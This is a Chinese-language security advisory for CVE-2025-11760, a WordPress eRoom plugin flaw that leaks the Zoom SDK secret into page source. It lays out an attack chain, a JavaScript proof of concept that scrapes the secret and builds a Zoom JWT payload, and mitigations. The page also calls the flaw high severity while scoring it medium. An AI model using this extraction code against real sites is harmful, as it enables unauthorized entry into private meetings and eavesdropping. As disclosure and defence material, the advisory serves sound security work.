IPBUF安全漏洞报告
English
CVE-2025-11760 CVSS 5.3 中危

CVE-2025-11760: WordPress eRoom插件Zoom SDK密钥前端泄露漏洞

披露日期: 2025-10-25

漏洞信息

漏洞编号
CVE-2025-11760
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
eRoom – Webinar & Meeting Plugin for Zoom, Google Meet, Microsoft Teams (WordPress)

相关标签

CVE-2025-11760信息泄露敏感信息暴露WordPress插件Zoom SDKJWT伪造eRoom视频会议安全前端密钥泄露中危漏洞

漏洞概述

CVE-2025-11760是WordPress平台eRoom视频会议插件中的一个高危信息泄露漏洞。该插件用于集成Zoom、Google Meet和Microsoft Teams等视频会议服务。漏洞源于插件在客户端JavaScript代码中错误地暴露了Zoom SDK的sdk_secret密钥,该密钥本应仅保存在服务器端。由于此敏感凭证被嵌入到前端页面中,未经认证的远程攻击者可以通过查看网页源代码或拦截网络请求直接获取该密钥。攻击者获取sdk_secret后,可以利用Zoom JWT认证机制生成有效的访问令牌,从而未经授权加入受保护的Zoom会议,窃听会议内容或进行其他恶意操作。此漏洞影响插件1.5.6及之前的所有版本,CVSS评分5.3,属于中等严重程度。

技术细节

漏洞根因在于eRoom插件的single/meeting_view.php模板文件第173行附近,开发者错误地将Zoom SDK的sdk_secret密钥硬编码或动态输出到客户端JavaScript代码中。正常情况下,sdk_secret应仅在服务器端用于生成JWT签名,客户端应只接收已生成的token或无需此敏感信息。然而该插件在渲染会议视图时,直接将sdk_secret作为JavaScript变量暴露在前端页面源代码中。攻击者访问任何包含会议视图的页面(如使用该插件的会议详情页),即可在浏览器开发者工具或页面源代码中看到类似var sdk_secret = "xxx";的代码。通过获取此密钥,攻击者可以构造符合Zoom JWT规范的签名请求,伪造有效的会议访问令牌,绕过正常的会议认证流程。攻击过程完全无需任何用户交互或认证,可在任何能够访问目标WordPress站点的网络位置发起。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标WordPress网站是否使用eRoom插件,通过查看页面源码或Wappalyzer等工具确认插件版本
STEP 2
步骤2: 漏洞探测
访问eRoom插件的会议视图页面(如/meeting/xxx),获取页面HTML源代码
STEP 3
步骤3: 密钥提取
在页面源码或JavaScript代码中搜索sdk_secret关键字,提取暴露的Zoom SDK密钥值
STEP 4
步骤4: JWT构造
使用提取的sdk_secret,结合Zoom SDK的JWT生成规范,构造包含目标会议号的JWT令牌
STEP 5
步骤5: 未授权访问
使用构造的JWT令牌通过Zoom SDK或API加入目标会议,无需正常认证流程即可进入会议

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-11760 PoC - Extract exposed Zoom SDK Secret // Target: WordPress site with eRoom plugin <= 1.5.6 const targetUrl = 'https://vulnerable-site.com/meeting/123'; async function extractSdkSecret() { try { // Method 1: Fetch page source and extract const response = await fetch(targetUrl); const html = await response.text(); // Search for sdk_secret pattern in JavaScript const secretMatch = html.match(/sdk_secret\s*[=:]\s*["']([^"']+)["']/i); if (secretMatch && secretMatch[1]) { console.log('[+] SDK Secret found:', secretMatch[1]); return secretMatch[1]; } // Method 2: Check for embedded JavaScript variables const scriptMatch = html.match(/var\s+sdk_secret\s*=\s*["']([^"']+)["']/i); if (scriptMatch && scriptMatch[1]) { console.log('[+] SDK Secret found (var):', scriptMatch[1]); return scriptMatch[1]; } console.log('[-] SDK Secret not found in page source'); return null; } catch (error) { console.error('[-] Error:', error.message); return null; } } // Generate JWT using extracted secret (requires jsonwebtoken library) function generateZoomJwt(sdkSecret, meetingNumber) { // JWT payload structure for Zoom SDK const payload = { sdkKey: 'YOUR_SDK_KEY', // Also needs to be extracted appKey: 'YOUR_SDK_KEY', mn: meetingNumber, role: 0, // 0=participant, 1=host iat: Math.round(Date.now() / 1000), exp: Math.round(Date.now() / 1000) + 3600, tokenExp: Math.round(Date.now() / 1000) + 3600 }; // Sign with extracted sdk_secret // const jwt = require('jsonwebtoken'); // return jwt.sign(payload, sdkSecret); console.log('[+] JWT payload prepared, sign with sdk_secret'); return payload; } // Execute PoC (async () => { console.log('[*] CVE-2025-11760 PoC - eRoom Plugin SDK Secret Extraction'); const secret = await extractSdkSecret(); if (secret) { console.log('\n[!] Use extracted secret to generate unauthorized Zoom access'); } })();

影响范围

eRoom – Webinar & Meeting Plugin for Zoom, Google Meet, Microsoft Teams < 1.5.7

防御指南

临时缓解措施
临时缓解措施:1) 在Web应用防火墙(WAF)中添加规则,检测并阻止包含sdk_secret参数的异常请求;2) 使用Content Security Policy (CSP)限制内联脚本执行,减少敏感信息在前端的暴露;3) 联系Zoom支持团队报告密钥泄露事件,申请密钥轮换;4) 启用WordPress网站的双因素认证,增加攻击者入侵成本;5) 监控Zoom会议日志,关注异常的未授权加入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表